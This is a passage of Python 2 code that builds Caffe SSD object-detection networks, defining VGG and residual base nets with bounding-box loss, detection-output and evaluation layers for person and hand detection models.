normalizations=ssd_Param_1.get("interlayers_normalizations",[]), \ use_batchnorm=ssd_Param_1.get("interlayers_use_batchnorm",True), \ inter_layer_channels=ssd_Param_1.get("interlayers_channels_kernels",[]), \ use_focus_loss=ssd_Param_1.get("bboxloss_using_focus_loss",False), \ use_dense_boxes=ssd_Param_1.get('bboxloss_use_dense_boxes',False), \ stage=1,lr_mult=lr_detnetperson) # make Loss or Detout for SSD1 if train: loss_param = get_loss_param(normalization=ssd_Param_1.get("bboxloss_normalization",P.Loss.VALID)) mbox_1_layers.append(net[gt_label]) use_dense_boxes = ssd_Param_1.get('bboxloss_use_dense_boxes',False) if use_dense_boxes: bboxloss_param = { 'gt_labels': ssd_Param_1.get('gt_labels',[]), 'target_labels': ssd_Param_1.get('target_labels',[]), 'num_classes':ssd_Param_1.get("num_classes",2), 'alias_id':ssd_Param_1.get("alias_id",0), 'loc_loss_type':ssd_Param_1.get("bboxloss_loc_loss_type",P.MultiBoxLoss.SMOOTH_L1), 'conf_loss_type':ssd_Param_1.get("bboxloss_conf_loss_type",P.MultiBoxLoss.LOGISTIC), 'loc_weight':ssd_Param_1.get("bboxloss_loc_weight",1), 'conf_weight':ssd_Param_1.get("bboxloss_conf_weight",1), 'overlap_threshold':ssd_Param_1.get("bboxloss_overlap_threshold",0.5), 'neg_overlap':ssd_Param_1.get("bboxloss_neg_overlap",0.5), 'size_threshold':ssd_Param_1.get("bboxloss_size_threshold",0.0001), 'do_neg_mining':ssd_Param_1.get("bboxloss_do_neg_mining",True), 'neg_pos_ratio':ssd_Param_1.get("bboxloss_neg_pos_ratio",3), 'using_focus_loss':ssd_Param_1.get("bboxloss_using_focus_loss",False), 'gama':ssd_Param_1.get("bboxloss_focus_gama",2), 'use_difficult_gt':ssd_Param_1.get("bboxloss_use_difficult_gt",False), 'code_type':ssd_Param_1.get("bboxloss_code_type",P.PriorBox.CENTER_SIZE), 'use_prior_for_matching':True, 'encode_variance_in_target': False, 'flag_noperson':ssd_Param_1.get('flag_noperson',False), } net["mbox_1_loss"] = L.DenseBBoxLoss(*mbox_1_layers, dense_bbox_loss_param=bboxloss_param, \ loss_param=loss_param, include=dict(phase=caffe_pb2.Phase.Value('TRAIN')), \ propagate_down=[True, True, False, False]) else: bboxloss_param = { 'gt_labels': ssd_Param_1.get('gt_labels',[]), 'target_labels': ssd_Param_1.get('target_labels',[]), 'num_classes':ssd_Param_1.get("num_classes",2), 'alias_id':ssd_Param_1.get("alias_id",0), 'loc_loss_type':ssd_Param_1.get("bboxloss_loc_loss_type",P.MultiBoxLoss.SMOOTH_L1), 'conf_loss_type':ssd_Param_1.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX), 'loc_weight':ssd_Param_1.get("bboxloss_loc_weight",1), 'conf_weight':ssd_Param_1.get("bboxloss_conf_weight",1), 'overlap_threshold':ssd_Param_1.get("bboxloss_overlap_threshold",0.5), 'neg_overlap':ssd_Param_1.get("bboxloss_neg_overlap",0.5), 'size_threshold':ssd_Param_1.get("bboxloss_size_threshold",0.0001), 'do_neg_mining':ssd_Param_1.get("bboxloss_do_neg_mining",True), 'neg_pos_ratio':ssd_Param_1.get("bboxloss_neg_pos_ratio",3), 'using_focus_loss':ssd_Param_1.get("bboxloss_using_focus_loss",False), 'gama':ssd_Param_1.get("bboxloss_focus_gama",2), 'use_difficult_gt':ssd_Param_1.get("bboxloss_use_difficult_gt",False), 'code_type':ssd_Param_1.get("bboxloss_code_type",P.PriorBox.CENTER_SIZE), 'match_type':P.MultiBoxLoss.PER_PREDICTION, 'share_location':True, 'use_prior_for_matching':True, 'background_label_id':0, 'encode_variance_in_target': False, 'map_object_to_agnostic':False, } net["mbox_1_loss"] = L.BBoxLoss(*mbox_1_layers, bbox_loss_param=bboxloss_param, \ loss_param=loss_param,include=dict(phase=caffe_pb2.Phase.Value('TRAIN')), \ propagate_down=[True, True, False, False]) else: if ssd_Param_1.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX) == P.MultiBoxLoss.SOFTMAX: reshape_name = "mbox_1_conf_reshape" net[reshape_name] = L.Reshape(mbox_1_layers[1], \ shape=dict(dim=[0, -1, ssd_Param_1.get("num_classes",2)])) softmax_name = "mbox_1_conf_softmax" net[softmax_name] = L.Softmax(net[reshape_name], axis=2) flatten_name = "mbox_1_conf_flatten" net[flatten_name] = L.Flatten(net[softmax_name], axis=1) mbox_1_layers[1] = net[flatten_name] elif ssd_Param_1.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX) == P.MultiBoxLoss.LOGISTIC: sigmoid_name = "mbox_1_conf_sigmoid" net[sigmoid_name] = L.Sigmoid(mbox_1_layers[1]) mbox_1_layers[1] = net[sigmoid_name] else: raise ValueError("Unknown conf loss type.") # Det-out param det_out_param = { 'num_classes':ssd_Param_1.get("num_classes",2), 'target_labels': ssd_Param_1.get('detout_target_labels',[]), 'alias_id':ssd_Param_1.get("alias_id",0), 'conf_threshold':ssd_Param_1.get("detout_conf_threshold",0.01), 'nms_threshold':ssd_Param_1.get("detout_nms_threshold",0.45), 'size_threshold':ssd_Param_1.get("detout_size_threshold",0.0001), 'top_k':ssd_Param_1.get("detout_top_k",30), 'share_location':True, 'code_type':P.PriorBox.CENTER_SIZE, 'background_label_id':0, 'variance_encoded_in_target':False, } use_dense_boxes = ssd_Param_1.get('bboxloss_use_dense_boxes',False) if use_dense_boxes: net.detection_out_1 = L.DenseDetOut(*mbox_1_layers, \ detection_output_param=det_out_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) else: net.detection_out_1 = L.DetOut(*mbox_1_layers, \ detection_output_param=det_out_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) # make Loss & Detout for SSD2 if use_ssd2_for_detection: mbox_2_layers = SsdDetectorHeaders(net, \ net_width=net_width, net_height=net_height, data_layer=data_layer, \ from_layers=ssd_Param_2.get('feature_layers',[]), \ num_classes=ssd_Param_2.get("num_classes",2), \ boxsizes=ssd_Param_2.get("anchor_boxsizes", []), \ aspect_ratios=ssd_Param_2.get("anchor_aspect_ratios",[]), \ prior_variance = ssd_Param_2.get("anchor_prior_variance",[0.1,0.1,0.2,0.2]), \ flip=ssd_Param_2.get("anchor_flip",True), \ clip=ssd_Param_2.get("anchor_clip",True), \ normalizations=ssd_Param_2.get("interlayers_normalizations",[]), \ use_batchnorm=ssd_Param_2.get("interlayers_use_batchnorm",True), \ inter_layer_channels=ssd_Param_2.get("interlayers_channels_kernels",[]), \ use_focus_loss=ssd_Param_2.get("bboxloss_using_focus_loss",False), \ use_dense_boxes=ssd_Param_2.get('bboxloss_use_dense_boxes',False), \ stage=2) # make Loss or Detout for SSD1 if train: loss_param = get_loss_param(normalization=ssd_Param_2.get("bboxloss_normalization",P.Loss.VALID)) mbox_2_layers.append(net[gt_label]) use_dense_boxes = ssd_Param_2.get('bboxloss_use_dense_boxes',False) if use_dense_boxes: bboxloss_param = { 'gt_labels': ssd_Param_2.get('gt_labels',[]), 'target_labels': ssd_Param_2.get('target_labels',[]), 'num_classes':ssd_Param_2.get("num_classes",2), 'alias_id':ssd_Param_2.get("alias_id",0), 'loc_loss_type':ssd_Param_2.get("bboxloss_loc_loss_type",P.MultiBoxLoss.SMOOTH_L1), 'conf_loss_type':ssd_Param_2.get("bboxloss_conf_loss_type",P.MultiBoxLoss.LOGISTIC), 'loc_weight':ssd_Param_2.get("bboxloss_loc_weight",1), 'conf_weight':ssd_Param_2.get("bboxloss_conf_weight",1), 'overlap_threshold':ssd_Param_2.get("bboxloss_overlap_threshold",0.5), 'neg_overlap':ssd_Param_2.get("bboxloss_neg_overlap",0.5), 'size_threshold':ssd_Param_2.get("bboxloss_size_threshold",0.0001), 'do_neg_mining':ssd_Param_2.get("bboxloss_do_neg_mining",True), 'neg_pos_ratio':ssd_Param_2.get("bboxloss_neg_pos_ratio",3), 'using_focus_loss':ssd_Param_2.get("bboxloss_using_focus_loss",False), 'gama':ssd_Param_2.get("bboxloss_focus_gama",2), 'use_difficult_gt':ssd_Param_2.get("bboxloss_use_difficult_gt",False), 'code_type':ssd_Param_2.get("bboxloss_code_type",P.PriorBox.CENTER_SIZE), 'use_prior_for_matching':True, 'encode_variance_in_target': False, 'flag_noperson': ssd_Param_2.get('flag_noperson', False), } net["mbox_2_loss"] = L.DenseBBoxLoss(*mbox_2_layers, dense_bbox_loss_param=bboxloss_param, \ loss_param=loss_param, include=dict(phase=caffe_pb2.Phase.Value('TRAIN')), \ propagate_down=[True, True, False, False]) else: bboxloss_param = { 'gt_labels': ssd_Param_2.get('gt_labels',[]), 'target_labels': ssd_Param_2.get('target_labels',[]), 'num_classes':ssd_Param_2.get("num_classes",2), 'alias_id':ssd_Param_2.get("alias_id",0), 'loc_loss_type':ssd_Param_2.get("bboxloss_loc_loss_type",P.MultiBoxLoss.SMOOTH_L1), 'conf_loss_type':ssd_Param_2.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX), 'loc_weight':ssd_Param_2.get("bboxloss_loc_weight",1), 'conf_weight':ssd_Param_2.get("bboxloss_conf_weight",1), 'overlap_threshold':ssd_Param_2.get("bboxloss_overlap_threshold",0.5), 'neg_overlap':ssd_Param_2.get("bboxloss_neg_overlap",0.5), 'size_threshold':ssd_Param_2.get("bboxloss_size_threshold",0.0001), 'do_neg_mining':ssd_Param_2.get("bboxloss_do_neg_mining",True), 'neg_pos_ratio':ssd_Param_2.get("bboxloss_neg_pos_ratio",3), 'using_focus_loss':ssd_Param_2.get("bboxloss_using_focus_loss",False), 'gama':ssd_Param_2.get("bboxloss_focus_gama",2), 'use_difficult_gt':ssd_Param_2.get("bboxloss_use_difficult_gt",False), 'code_type':ssd_Param_2.get("bboxloss_code_type",P.PriorBox.CENTER_SIZE), 'match_type':P.MultiBoxLoss.PER_PREDICTION, 'share_location':True, 'use_prior_for_matching':True, 'background_label_id':0, 'encode_variance_in_target': False, 'map_object_to_agnostic':False, } net["mbox_2_loss"] = L.BBoxLoss(*mbox_2_layers, bbox_loss_param=bboxloss_param, \ loss_param=loss_param,include=dict(phase=caffe_pb2.Phase.Value('TRAIN')), \ propagate_down=[True, True, False, False]) else: if ssd_Param_2.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX) == P.MultiBoxLoss.SOFTMAX: reshape_name = "mbox_2_conf_reshape" net[reshape_name] = L.Reshape(mbox_2_layers[1], \ shape=dict(dim=[0, -1, ssd_Param_2.get("num_classes",2)])) softmax_name = "mbox_2_conf_softmax" net[softmax_name] = L.Softmax(net[reshape_name], axis=2) flatten_name = "mbox_2_conf_flatten" net[flatten_name] = L.Flatten(net[softmax_name], axis=1) mbox_2_layers[1] = net[flatten_name] elif ssd_Param_2.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX) == P.MultiBoxLoss.LOGISTIC: sigmoid_name = "mbox_2_conf_sigmoid" net[sigmoid_name] = L.Sigmoid(mbox_2_layers[1]) mbox_2_layers[1] = net[sigmoid_name] else: raise ValueError("Unknown conf loss type.") # Det-out param det_out_param = { 'num_classes':ssd_Param_2.get("num_classes",2), 'target_labels': ssd_Param_2.get('detout_target_labels',[]), 'alias_id':ssd_Param_2.get("alias_id",0), 'conf_threshold':ssd_Param_2.get("detout_conf_threshold",0.01), 'nms_threshold':ssd_Param_2.get("detout_nms_threshold",0.45), 'size_threshold':ssd_Param_2.get("detout_size_threshold",0.0001), 'top_k':ssd_Param_2.get("detout_top_k",30), 'share_location':True, 'code_type':P.PriorBox.CENTER_SIZE, 'background_label_id':0, 'variance_encoded_in_target':False, } use_dense_boxes = ssd_Param_2.get('bboxloss_use_dense_boxes',False) if use_dense_boxes: net.detection_out_2 = L.DenseDetOut(*mbox_2_layers, \ detection_output_param=det_out_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) else: net.detection_out_2 = L.DetOut(*mbox_2_layers, \ detection_output_param=det_out_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) # EVAL in TEST MODE if not train: det_eval_param = { 'gt_labels': eval_Param.get('eval_gt_labels',[]), 'num_classes':eval_Param.get("eval_num_classes",2), 'evaluate_difficult_gt':eval_Param.get("eval_difficult_gt",False), 'boxsize_threshold':eval_Param.get("eval_boxsize_threshold",[0,0.01,0.05,0.1,0.15,0.2,0.25]), 'iou_threshold':eval_Param.get("eval_iou_threshold",[0.9,0.75,0.5]), 'background_label_id':0, } if use_ssd2_for_detection: det_out_layers = [] if flag_train_withperson: det_out_layers.append(net['detection_out_1']) det_out_layers.append(net['detection_out_2']) name = 'det_out' net[name] = L.Concat(*det_out_layers, axis=2) net.det_accu = L.DetEval(net[name], net[gt_label], \ detection_evaluate_param=det_eval_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) else: net.det_accu = L.DetEval(net['detection_out_1'], net[gt_label], \ detection_evaluate_param=det_eval_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) return net def DAPNetVGGReduceNoConcat(net, train=True, data_layer="data", gt_label="label", \ net_width=512, net_height=288): # BaseNet flag_use_dark = False if flag_use_dark: net = YoloNetPart(net, from_layer="data", use_bn=True, use_layers=5, use_sub_layers=5, final_pool=True, lr=1, decay=1)#1.47G, 13.7M else: # c = ((32,), (32,), (32, 32, 128), (64, 64, 128), (128, 128, 256))#1.74G, 19.43M # net = VGG16_BaseNet_ChangeChannel(net, "data", channels=c) channels = ((32,), (32,), (64, 32, 128), (128, 64, 128, 64, 256), (256, 128, 256, 128, 256)) strides = (True, True, True, False, False) kernels = ((3,), (3,), (3, 1, 3), (3, 1, 3, 1, 3), (3, 1, 3, 1, 3)) pool_last = (False,False,False,True,True) net = VGG16_BaseNet_ChangeChannel(net, from_layer=data_layer, channels=channels, strides=strides, kernels=kernels,freeze_layers=[], pool_last=pool_last,use_bn=True,truncvalues=truncvalues) lr_detnetperson = 1.0 # Add Conv6 conv6_output = Conv6_Param.get('conv6_output',[]) conv6_kernal_size = Conv6_Param.get('conv6_kernal_size',[]) out_layer = "pool5" net = addconv6(net, from_layer=out_layer, use_bn=True, conv6_output=conv6_output, \ conv6_kernal_size=conv6_kernal_size, pre_name="conv6",start_pool=False,lr_mult=lr_detnetperson, decay_mult=1,n_group=1,truncvalues=truncvalues) print net.keys() # Create SSD Header for SSD1 if flag_train_withperson: mbox_1_layers = SsdDetectorHeaders(net, \ net_width=net_width, net_height=net_height, data_layer=data_layer, \ from_layers=ssd_Param_1.get('feature_layers',[]), \ num_classes=ssd_Param_1.get("num_classes",2), \ boxsizes=ssd_Param_1.get("anchor_boxsizes", []), \ aspect_ratios=ssd_Param_1.get("anchor_aspect_ratios",[]), \ prior_variance = ssd_Param_1.get("anchor_prior_variance",[0.1,0.1,0.2,0.2]), \ flip=ssd_Param_1.get("anchor_flip",True), \ clip=ssd_Param_1.get("anchor_clip",True), \ normalizations=ssd_Param_1.get("interlayers_normalizations",[]), \ use_batchnorm=ssd_Param_1.get("interlayers_use_batchnorm",True), \ inter_layer_channels=ssd_Param_1.get("interlayers_channels_kernels",[]), \ use_focus_loss=ssd_Param_1.get("bboxloss_using_focus_loss",False), \ use_dense_boxes=ssd_Param_1.get('bboxloss_use_dense_boxes',False), \ stage=1,lr_mult=lr_detnetperson) # make Loss or Detout for SSD1 if train: loss_param = get_loss_param(normalization=ssd_Param_1.get("bboxloss_normalization",P.Loss.VALID)) mbox_1_layers.append(net[gt_label]) use_dense_boxes = ssd_Param_1.get('bboxloss_use_dense_boxes',False) if use_dense_boxes: bboxloss_param = { 'gt_labels': ssd_Param_1.get('gt_labels',[]), 'target_labels': ssd_Param_1.get('target_labels',[]), 'num_classes':ssd_Param_1.get("num_classes",2), 'alias_id':ssd_Param_1.get("alias_id",0), 'loc_loss_type':ssd_Param_1.get("bboxloss_loc_loss_type",P.MultiBoxLoss.SMOOTH_L1), 'conf_loss_type':ssd_Param_1.get("bboxloss_conf_loss_type",P.MultiBoxLoss.LOGISTIC), 'loc_weight':ssd_Param_1.get("bboxloss_loc_weight",1), 'conf_weight':ssd_Param_1.get("bboxloss_conf_weight",1), 'overlap_threshold':ssd_Param_1.get("bboxloss_overlap_threshold",0.5), 'neg_overlap':ssd_Param_1.get("bboxloss_neg_overlap",0.5), 'size_threshold':ssd_Param_1.get("bboxloss_size_threshold",0.0001), 'do_neg_mining':ssd_Param_1.get("bboxloss_do_neg_mining",True), 'neg_pos_ratio':ssd_Param_1.get("bboxloss_neg_pos_ratio",3), 'using_focus_loss':ssd_Param_1.get("bboxloss_using_focus_loss",False), 'gama':ssd_Param_1.get("bboxloss_focus_gama",2), 'use_difficult_gt':ssd_Param_1.get("bboxloss_use_difficult_gt",False), 'code_type':ssd_Param_1.get("bboxloss_code_type",P.PriorBox.CENTER_SIZE), 'use_prior_for_matching':True, 'encode_variance_in_target': False, 'flag_noperson':ssd_Param_1.get('flag_noperson',False), } net["mbox_1_loss"] = L.DenseBBoxLoss(*mbox_1_layers, dense_bbox_loss_param=bboxloss_param, \ loss_param=loss_param, include=dict(phase=caffe_pb2.Phase.Value('TRAIN')), \ propagate_down=[True, True, False, False]) else: bboxloss_param = { 'gt_labels': ssd_Param_1.get('gt_labels',[]), 'target_labels': ssd_Param_1.get('target_labels',[]), 'num_classes':ssd_Param_1.get("num_classes",2), 'alias_id':ssd_Param_1.get("alias_id",0), 'loc_loss_type':ssd_Param_1.get("bboxloss_loc_loss_type",P.MultiBoxLoss.SMOOTH_L1), 'conf_loss_type':ssd_Param_1.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX), 'loc_weight':ssd_Param_1.get("bboxloss_loc_weight",1), 'conf_weight':ssd_Param_1.get("bboxloss_conf_weight",1), 'overlap_threshold':ssd_Param_1.get("bboxloss_overlap_threshold",0.5), 'neg_overlap':ssd_Param_1.get("bboxloss_neg_overlap",0.5), 'size_threshold':ssd_Param_1.get("bboxloss_size_threshold",0.0001), 'do_neg_mining':ssd_Param_1.get("bboxloss_do_neg_mining",True), 'neg_pos_ratio':ssd_Param_1.get("bboxloss_neg_pos_ratio",3), 'using_focus_loss':ssd_Param_1.get("bboxloss_using_focus_loss",False), 'gama':ssd_Param_1.get("bboxloss_focus_gama",2), 'use_difficult_gt':ssd_Param_1.get("bboxloss_use_difficult_gt",False), 'code_type':ssd_Param_1.get("bboxloss_code_type",P.PriorBox.CENTER_SIZE), 'match_type':P.MultiBoxLoss.PER_PREDICTION, 'share_location':True, 'use_prior_for_matching':True, 'background_label_id':0, 'encode_variance_in_target': False, 'map_object_to_agnostic':False, } net["mbox_1_loss"] = L.BBoxLoss(*mbox_1_layers, bbox_loss_param=bboxloss_param, \ loss_param=loss_param,include=dict(phase=caffe_pb2.Phase.Value('TRAIN')), \ propagate_down=[True, True, False, False]) else: if ssd_Param_1.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX) == P.MultiBoxLoss.SOFTMAX: reshape_name = "mbox_1_conf_reshape" net[reshape_name] = L.Reshape(mbox_1_layers[1], \ shape=dict(dim=[0, -1, ssd_Param_1.get("num_classes",2)])) softmax_name = "mbox_1_conf_softmax" net[softmax_name] = L.Softmax(net[reshape_name], axis=2) flatten_name = "mbox_1_conf_flatten" net[flatten_name] = L.Flatten(net[softmax_name], axis=1) mbox_1_layers[1] = net[flatten_name] elif ssd_Param_1.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX) == P.MultiBoxLoss.LOGISTIC: sigmoid_name = "mbox_1_conf_sigmoid" net[sigmoid_name] = L.Sigmoid(mbox_1_layers[1]) mbox_1_layers[1] = net[sigmoid_name] else: raise ValueError("Unknown conf loss type.") # Det-out param det_out_param = { 'num_classes':ssd_Param_1.get("num_classes",2), 'target_labels': ssd_Param_1.get('detout_target_labels',[]), 'alias_id':ssd_Param_1.get("alias_id",0), 'conf_threshold':ssd_Param_1.get("detout_conf_threshold",0.01), 'nms_threshold':ssd_Param_1.get("detout_nms_threshold",0.45), 'size_threshold':ssd_Param_1.get("detout_size_threshold",0.0001), 'top_k':ssd_Param_1.get("detout_top_k",30), 'share_location':True, 'code_type':P.PriorBox.CENTER_SIZE, 'background_label_id':0, 'variance_encoded_in_target':False, } use_dense_boxes = ssd_Param_1.get('bboxloss_use_dense_boxes',False) if use_dense_boxes: net.detection_out_1 = L.DenseDetOut(*mbox_1_layers, \ detection_output_param=det_out_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) else: net.detection_out_1 = L.DetOut(*mbox_1_layers, \ detection_output_param=det_out_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) # make Loss & Detout for SSD2 if use_ssd2_for_detection: mbox_2_layers = SsdDetectorHeaders(net, \ net_width=net_width, net_height=net_height, data_layer=data_layer, \ from_layers=ssd_Param_2.get('feature_layers',[]), \ num_classes=ssd_Param_2.get("num_classes",2), \ boxsizes=ssd_Param_2.get("anchor_boxsizes", []), \ aspect_ratios=ssd_Param_2.get("anchor_aspect_ratios",[]), \ prior_variance = ssd_Param_2.get("anchor_prior_variance",[0.1,0.1,0.2,0.2]), \ flip=ssd_Param_2.get("anchor_flip",True), \ clip=ssd_Param_2.get("anchor_clip",True), \ normalizations=ssd_Param_2.get("interlayers_normalizations",[]), \ use_batchnorm=ssd_Param_2.get("interlayers_use_batchnorm",True), \ inter_layer_channels=ssd_Param_2.get("interlayers_channels_kernels",[]), \ use_focus_loss=ssd_Param_2.get("bboxloss_using_focus_loss",False), \ use_dense_boxes=ssd_Param_2.get('bboxloss_use_dense_boxes',False), \ stage=2) # make Loss or Detout for SSD1 if train: loss_param = get_loss_param(normalization=ssd_Param_2.get("bboxloss_normalization",P.Loss.VALID)) mbox_2_layers.append(net[gt_label]) use_dense_boxes = ssd_Param_2.get('bboxloss_use_dense_boxes',False) if use_dense_boxes: bboxloss_param = { 'gt_labels': ssd_Param_2.get('gt_labels',[]), 'target_labels': ssd_Param_2.get('target_labels',[]), 'num_classes':ssd_Param_2.get("num_classes",2), 'alias_id':ssd_Param_2.get("alias_id",0), 'loc_loss_type':ssd_Param_2.get("bboxloss_loc_loss_type",P.MultiBoxLoss.SMOOTH_L1), 'conf_loss_type':ssd_Param_2.get("bboxloss_conf_loss_type",P.MultiBoxLoss.LOGISTIC), 'loc_weight':ssd_Param_2.get("bboxloss_loc_weight",1), 'conf_weight':ssd_Param_2.get("bboxloss_conf_weight",1), 'overlap_threshold':ssd_Param_2.get("bboxloss_overlap_threshold",0.5), 'neg_overlap':ssd_Param_2.get("bboxloss_neg_overlap",0.5), 'size_threshold':ssd_Param_2.get("bboxloss_size_threshold",0.0001), 'do_neg_mining':ssd_Param_2.get("bboxloss_do_neg_mining",True), 'neg_pos_ratio':ssd_Param_2.get("bboxloss_neg_pos_ratio",3), 'using_focus_loss':ssd_Param_2.get("bboxloss_using_focus_loss",False), 'gama':ssd_Param_2.get("bboxloss_focus_gama",2), 'use_difficult_gt':ssd_Param_2.get("bboxloss_use_difficult_gt",False), 'code_type':ssd_Param_2.get("bboxloss_code_type",P.PriorBox.CENTER_SIZE), 'use_prior_for_matching':True, 'encode_variance_in_target': False, 'flag_noperson': ssd_Param_2.get('flag_noperson', False), } net["mbox_2_loss"] = L.DenseBBoxLoss(*mbox_2_layers, dense_bbox_loss_param=bboxloss_param, \ loss_param=loss_param, include=dict(phase=caffe_pb2.Phase.Value('TRAIN')), \ propagate_down=[True, True, False, False]) else: bboxloss_param = { 'gt_labels': ssd_Param_2.get('gt_labels',[]), 'target_labels': ssd_Param_2.get('target_labels',[]), 'num_classes':ssd_Param_2.get("num_classes",2), 'alias_id':ssd_Param_2.get("alias_id",0), 'loc_loss_type':ssd_Param_2.get("bboxloss_loc_loss_type",P.MultiBoxLoss.SMOOTH_L1), 'conf_loss_type':ssd_Param_2.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX), 'loc_weight':ssd_Param_2.get("bboxloss_loc_weight",1), 'conf_weight':ssd_Param_2.get("bboxloss_conf_weight",1), 'overlap_threshold':ssd_Param_2.get("bboxloss_overlap_threshold",0.5), 'neg_overlap':ssd_Param_2.get("bboxloss_neg_overlap",0.5), 'size_threshold':ssd_Param_2.get("bboxloss_size_threshold",0.0001), 'do_neg_mining':ssd_Param_2.get("bboxloss_do_neg_mining",True), 'neg_pos_ratio':ssd_Param_2.get("bboxloss_neg_pos_ratio",3), 'using_focus_loss':ssd_Param_2.get("bboxloss_using_focus_loss",False), 'gama':ssd_Param_2.get("bboxloss_focus_gama",2), 'use_difficult_gt':ssd_Param_2.get("bboxloss_use_difficult_gt",False), 'code_type':ssd_Param_2.get("bboxloss_code_type",P.PriorBox.CENTER_SIZE), 'match_type':P.MultiBoxLoss.PER_PREDICTION, 'share_location':True, 'use_prior_for_matching':True, 'background_label_id':0, 'encode_variance_in_target': False, 'map_object_to_agnostic':False, } net["mbox_2_loss"] = L.BBoxLoss(*mbox_2_layers, bbox_loss_param=bboxloss_param, \ loss_param=loss_param,include=dict(phase=caffe_pb2.Phase.Value('TRAIN')), \ propagate_down=[True, True, False, False]) else: if ssd_Param_2.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX) == P.MultiBoxLoss.SOFTMAX: reshape_name = "mbox_2_conf_reshape" net[reshape_name] = L.Reshape(mbox_2_layers[1], \ shape=dict(dim=[0, -1, ssd_Param_2.get("num_classes",2)])) softmax_name = "mbox_2_conf_softmax" net[softmax_name] = L.Softmax(net[reshape_name], axis=2) flatten_name = "mbox_2_conf_flatten" net[flatten_name] = L.Flatten(net[softmax_name], axis=1) mbox_2_layers[1] = net[flatten_name] elif ssd_Param_2.get("bboxloss_conf_loss_type",P.MultiBoxLoss.SOFTMAX) == P.MultiBoxLoss.LOGISTIC: sigmoid_name = "mbox_2_conf_sigmoid" net[sigmoid_name] = L.Sigmoid(mbox_2_layers[1]) mbox_2_layers[1] = net[sigmoid_name] else: raise ValueError("Unknown conf loss type.") # Det-out param det_out_param = { 'num_classes':ssd_Param_2.get("num_classes",2), 'target_labels': ssd_Param_2.get('detout_target_labels',[]), 'alias_id':ssd_Param_2.get("alias_id",0), 'conf_threshold':ssd_Param_2.get("detout_conf_threshold",0.01), 'nms_threshold':ssd_Param_2.get("detout_nms_threshold",0.45), 'size_threshold':ssd_Param_2.get("detout_size_threshold",0.0001), 'top_k':ssd_Param_2.get("detout_top_k",30), 'share_location':True, 'code_type':P.PriorBox.CENTER_SIZE, 'background_label_id':0, 'variance_encoded_in_target':False, } use_dense_boxes = ssd_Param_2.get('bboxloss_use_dense_boxes',False) if use_dense_boxes: net.detection_out_2 = L.DenseDetOut(*mbox_2_layers, \ detection_output_param=det_out_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) else: net.detection_out_2 = L.DetOut(*mbox_2_layers, \ detection_output_param=det_out_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) # EVAL in TEST MODE if not train: det_eval_param = { 'gt_labels': eval_Param.get('eval_gt_labels',[]), 'num_classes':eval_Param.get("eval_num_classes",2), 'evaluate_difficult_gt':eval_Param.get("eval_difficult_gt",False), 'boxsize_threshold':eval_Param.get("eval_boxsize_threshold",[0,0.01,0.05,0.1,0.15,0.2,0.25]), 'iou_threshold':eval_Param.get("eval_iou_threshold",[0.9,0.75,0.5]), 'background_label_id':0, } if use_ssd2_for_detection: det_out_layers = [] if flag_train_withperson: det_out_layers.append(net['detection_out_1']) det_out_layers.append(net['detection_out_2']) name = 'det_out' net[name] = L.Concat(*det_out_layers, axis=2) net.det_accu = L.DetEval(net[name], net[gt_label], \ detection_evaluate_param=det_eval_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) else: net.det_accu = L.DetEval(net['detection_out_1'], net[gt_label], \ detection_evaluate_param=det_eval_param, \ include=dict(phase=caffe_pb2.Phase.Value('TEST'))) return net # Final Network def DAPNet_hand_pool1(net, train=True, data_layer="data", gt_label="label", \ net_width=512, net_height=288): lr_basenet =0 # BaseNet use_sub_layers = ()# exmpty means only has conv1 and pooling num_channels = () output_channels = (0, ) channel_scale = 4 add_strs = "_recon" net = ResidualVariant_Base_A(net, data_layer=data_layer, use_sub_layers=use_sub_layers, num_channels=num_channels, output_channels=output_channels, channel_scale=channel_scale, lr=lr_basenet, decay=lr_basenet, add_strs=add_strs) print net.keys() # make Loss & Detout for SSD2 mbox_2_layers = SsdDetectorHeaders(net, \ net_width=net_width, net_height=net_height, data_layer=data_layer, \ from_layers=ssd_Param_2.get('feature_layers',[]), \ num_classes=ssd_Param_2.get("num_classes",2), \ boxsizes=ssd_Param_2.get("anchor_boxsizes", []), \ aspect_ratios=ssd_Param_2.get("anchor_aspect_ratios",[]), \ prior_variance = ssd_Param_2.get("anchor_prior_variance",[0.1,0.1,0.2,0.2]), \ flip=ssd_Param_2.get("anchor_flip",True), \ clip=ssd_Param_2.get("anchor_clip",True), \ normalizations=ssd_Param_2.get("interlayers_normalizations",[]), \ use_batchnorm=ssd_Param_2.get("interlayers_use_batchnorm",True), \ inter_layer_channels=ssd_Param_2.get("interlayers_channels_kernels",[]), \ use_focus_loss=ssd_Param_2.get("bboxloss_using_focus_loss",False), \ use_dense_boxes=ssd_Param_2.get('bboxloss_use_dense_boxes',False), \ stage=2) # make Loss or Detout for SSD1 if train: loss_param = get_loss_param(normalization=ssd_Param_2.get("bboxloss_normalization",P.Loss.VALID)) mbox_2_layers.append(net[gt_label]) # mbox_2_layers.append(net[data_layer]) use_dense_boxes = ssd_Param_2.get('bboxloss_use_dense_boxes',False) if use_dense_boxes: bboxloss_param = { 'gt_labels': ssd_Param_2.get('gt_labels',[]), 'target_labels': ssd_Param_2.get('target_labels',[]), 'num_classes':ssd_Param_2.get("num_classes",2), 